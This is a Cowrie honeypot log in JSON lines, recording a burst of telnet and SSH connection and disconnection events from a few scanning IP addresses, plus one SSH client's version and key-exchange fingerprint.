{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35008,"dst_ip":"10.17.0.5","dst_port":23,"session":"530614e1f3da","protocol":"telnet","message":"New connection: 23.111.140.22:35008 (10.17.0.5:23) [session: 530614e1f3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:14.928950Z"}
{"eventid":"cowrie.session.closed","duration":0.0053348541259765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:14.934151Z","src_ip":"23.111.140.22","session":"530614e1f3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"830175694bcb","protocol":"telnet","message":"New connection: 23.111.140.22:39798 (10.17.0.5:23) [session: 830175694bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:14.999205Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0973f360fea","protocol":"telnet","message":"New connection: 23.111.140.22:39886 (10.17.0.5:23) [session: b0973f360fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:15.027570Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5b980a22c1","protocol":"telnet","message":"New connection: 23.111.140.22:37272 (10.17.0.5:23) [session: bd5b980a22c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:15.059338Z"}
{"eventid":"cowrie.session.closed","duration":53.312236309051514,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:15.143257Z","src_ip":"174.138.46.234","session":"0c7465e8603a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.640589237213135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:15.306439Z","src_ip":"23.111.140.22","session":"6febaf1f05cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38474,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e95c5c63b8","protocol":"telnet","message":"New connection: 23.111.140.22:38474 (10.17.0.5:23) [session: 38e95c5c63b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:15.544587Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"4396e45aba73","protocol":"telnet","message":"New connection: 23.111.140.22:40830 (10.17.0.5:23) [session: 4396e45aba73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:16.379337Z"}
{"eventid":"cowrie.session.closed","duration":31.420873403549194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:17.337297Z","src_ip":"23.111.140.22","session":"a54290a4d94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15934753417969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:17.572685Z","src_ip":"23.111.140.22","session":"91af7c2fe572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"60326b1e1479","protocol":"telnet","message":"New connection: 23.111.140.22:44912 (10.17.0.5:23) [session: 60326b1e1479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:17.785483Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a104d71684","protocol":"telnet","message":"New connection: 23.111.140.22:45078 (10.17.0.5:23) [session: f4a104d71684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:18.850791Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52362,"dst_ip":"10.17.0.5","dst_port":23,"session":"8821a4e12525","protocol":"telnet","message":"New connection: 23.111.140.22:52362 (10.17.0.5:23) [session: 8821a4e12525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:19.369666Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52428,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5f5eab62cc","protocol":"telnet","message":"New connection: 23.111.140.22:52428 (10.17.0.5:23) [session: ae5f5eab62cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:19.388841Z"}
{"eventid":"cowrie.session.closed","duration":31.549108266830444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:19.644590Z","src_ip":"23.111.140.22","session":"e2e00ac90fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.340553283691406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:20.157367Z","src_ip":"23.111.140.22","session":"fa3d2ce82844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.191.255.164","src_port":48228,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a801286eae","protocol":"ssh","message":"New connection: 18.191.255.164:48228 (10.17.0.5:22) [session: 54a801286eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:20.752580Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.191.255.164","src_port":36826,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d1804fb10a8","protocol":"telnet","message":"New connection: 18.191.255.164:36826 (10.17.0.5:23) [session: 5d1804fb10a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:20.962875Z"}
{"eventid":"cowrie.session.closed","duration":30.271859645843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:21.094528Z","src_ip":"23.111.140.22","session":"74dfef02bf64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:21.468383Z","src_ip":"18.191.255.164","session":"54a801286eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.5265390872955322,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:21.489211Z","src_ip":"18.191.255.164","session":"5d1804fb10a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381425142288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:21.494902Z","src_ip":"23.111.140.22","session":"41f5f6b3647a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f855fcadd27e","protocol":"telnet","message":"New connection: 23.111.140.22:56160 (10.17.0.5:23) [session: f855fcadd27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:21.666368Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39252,"dst_ip":"10.17.0.5","dst_port":23,"session":"724132b3a9a5","protocol":"telnet","message":"New connection: 23.111.140.22:39252 (10.17.0.5:23) [session: 724132b3a9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:22.050469Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51850,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ea8bb7a3bf","protocol":"telnet","message":"New connection: 23.111.140.22:51850 (10.17.0.5:23) [session: c3ea8bb7a3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:22.206126Z"}
{"eventid":"cowrie.session.closed","duration":30.735403537750244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:22.499337Z","src_ip":"23.111.140.22","session":"fe4260b99795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36680,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab1c93a40c0","protocol":"telnet","message":"New connection: 23.111.140.22:36680 (10.17.0.5:23) [session: aab1c93a40c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:23.746155Z"}
{"eventid":"cowrie.session.closed","duration":31.73276996612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:23.929652Z","src_ip":"23.111.140.22","session":"e3be687cf755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321829319000244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:24.148543Z","src_ip":"23.111.140.22","session":"bc739e79e208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.555092096328735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:25.835875Z","src_ip":"23.111.140.22","session":"c8490dad50d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40530,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd393db11372","protocol":"telnet","message":"New connection: 23.111.140.22:40530 (10.17.0.5:23) [session: bd393db11372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:26.084128Z"}
{"eventid":"cowrie.session.closed","duration":32.32294416427612,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:26.214878Z","src_ip":"23.111.140.22","session":"9debc4b50f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"7712f1fa2e0b","protocol":"telnet","message":"New connection: 23.111.140.22:43986 (10.17.0.5:23) [session: 7712f1fa2e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:26.275534Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37548,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b06af107f4","protocol":"telnet","message":"New connection: 23.111.140.22:37548 (10.17.0.5:23) [session: 51b06af107f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.066287Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46564,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec11625a3078","protocol":"telnet","message":"New connection: 23.111.140.22:46564 (10.17.0.5:23) [session: ec11625a3078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.213443Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b549ee0fbb9a","protocol":"telnet","message":"New connection: 23.111.140.22:44028 (10.17.0.5:23) [session: b549ee0fbb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.297621Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"4681ed864e0a","protocol":"telnet","message":"New connection: 23.111.140.22:41452 (10.17.0.5:23) [session: 4681ed864e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.318347Z"}
{"eventid":"cowrie.session.closed","duration":0.0055713653564453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.323797Z","src_ip":"23.111.140.22","session":"4681ed864e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47304,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b634aac6e62","protocol":"telnet","message":"New connection: 23.111.140.22:47304 (10.17.0.5:23) [session: 5b634aac6e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:27.450256Z"}
{"eventid":"cowrie.session.closed","duration":32.82881212234497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:28.327981Z","src_ip":"23.111.140.22","session":"e188e9ab38ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57704,"dst_ip":"10.17.0.5","dst_port":23,"session":"6123ecbfa6c5","protocol":"telnet","message":"New connection: 23.111.140.22:57704 (10.17.0.5:23) [session: 6123ecbfa6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:28.708053Z"}
{"eventid":"cowrie.session.closed","duration":33.121946573257446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:29.380542Z","src_ip":"23.111.140.22","session":"c2ddb563b6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ad86610165","protocol":"telnet","message":"New connection: 23.111.140.22:53566 (10.17.0.5:23) [session: f7ad86610165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:29.626243Z"}
{"eventid":"cowrie.session.closed","duration":33.04982900619507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:30.524625Z","src_ip":"23.111.140.22","session":"0adf5373426b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.090923309326172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:31.066094Z","src_ip":"23.111.140.22","session":"0397b0ebe4b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52225637435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:31.248926Z","src_ip":"23.111.140.22","session":"1ec70469160c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.1107292175293,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:31.253958Z","src_ip":"174.138.46.234","session":"d1998c5565a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46368,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ff9c08850a7","protocol":"telnet","message":"New connection: 174.138.46.234:46368 (159.203.135.109:23) [session: 6ff9c08850a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:31.282073Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3665cf96b1cc","protocol":"telnet","message":"New connection: 23.111.140.22:59642 (10.17.0.5:23) [session: 3665cf96b1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:31.773525Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9b7d192228","protocol":"telnet","message":"New connection: 174.138.46.234:46696 (159.203.135.109:23) [session: 8e9b7d192228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:32.345938Z"}
{"eventid":"cowrie.session.closed","duration":31.36031436920166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:32.353007Z","src_ip":"23.111.140.22","session":"07160af22e37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"886386e6de3a","protocol":"telnet","message":"New connection: 23.111.140.22:33340 (10.17.0.5:23) [session: 886386e6de3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:32.436460Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46746,"dst_ip":"159.203.135.109","dst_port":23,"session":"198a6860b9a8","protocol":"telnet","message":"New connection: 174.138.46.234:46746 (159.203.135.109:23) [session: 198a6860b9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:32.528927Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34822,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5659053bcd","protocol":"telnet","message":"New connection: 23.111.140.22:34822 (10.17.0.5:23) [session: 3a5659053bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:32.920070Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32888,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c802a8b795e","protocol":"telnet","message":"New connection: 23.111.140.22:32888 (10.17.0.5:23) [session: 3c802a8b795e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:33.269068Z"}
{"eventid":"cowrie.session.closed","duration":31.387930631637573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:33.971026Z","src_ip":"23.111.140.22","session":"30815a372957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49308,"dst_ip":"10.17.0.5","dst_port":23,"session":"2011c1bc117d","protocol":"telnet","message":"New connection: 23.111.140.22:49308 (10.17.0.5:23) [session: 2011c1bc117d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:34.114093Z"}
{"eventid":"cowrie.session.closed","duration":30.86617398262024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:34.581877Z","src_ip":"23.111.140.22","session":"1cb002009f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072158098220825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:34.652469Z","src_ip":"23.111.140.22","session":"ea3c6c85708f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95679521560669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:35.086431Z","src_ip":"23.111.140.22","session":"48004aee731d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"532534a189b5","protocol":"telnet","message":"New connection: 23.111.140.22:42018 (10.17.0.5:23) [session: 532534a189b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:35.426282Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4fc352e326","protocol":"telnet","message":"New connection: 23.111.140.22:39820 (10.17.0.5:23) [session: ec4fc352e326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:35.617066Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40238,"dst_ip":"10.17.0.5","dst_port":23,"session":"384fd7ecb2c9","protocol":"telnet","message":"New connection: 23.111.140.22:40238 (10.17.0.5:23) [session: 384fd7ecb2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:35.811941Z"}
{"eventid":"cowrie.session.closed","duration":31.435592651367188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:35.958925Z","src_ip":"23.111.140.22","session":"88fec7f33204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce85b4696571","protocol":"telnet","message":"New connection: 23.111.140.22:43982 (10.17.0.5:23) [session: ce85b4696571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:36.078505Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48144,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15cb45a99f8","protocol":"telnet","message":"New connection: 23.111.140.22:48144 (10.17.0.5:23) [session: e15cb45a99f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:36.509938Z"}
{"eventid":"cowrie.session.closed","duration":0.004683494567871094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:36.514494Z","src_ip":"23.111.140.22","session":"e15cb45a99f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":57438,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c15cf14262","protocol":"ssh","message":"New connection: 202.145.0.61:57438 (10.17.0.5:22) [session: 04c15cf14262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:37.719598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:37.724056Z","src_ip":"202.145.0.61","session":"04c15cf14262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:37.964999Z","src_ip":"202.145.0.61","session":"04c15cf14262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb4424c8cf9","protocol":"telnet","message":"New connection: 174.138.46.234:46350 (159.203.135.109:23) [session: 8bb4424c8cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.227179Z"}
{"eventid":"cowrie.session.closed","duration":5.955512523651123,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.301333Z","src_ip":"174.138.46.234","session":"8e9b7d192228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8552751541137695,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.384108Z","src_ip":"174.138.46.234","session":"198a6860b9a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083250284194946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.653603Z","src_ip":"23.111.140.22","session":"e1fbff2fdede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.639741897583008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:38.714492Z","src_ip":"23.111.140.22","session":"9245ab53c635","protocol":"telnet"}
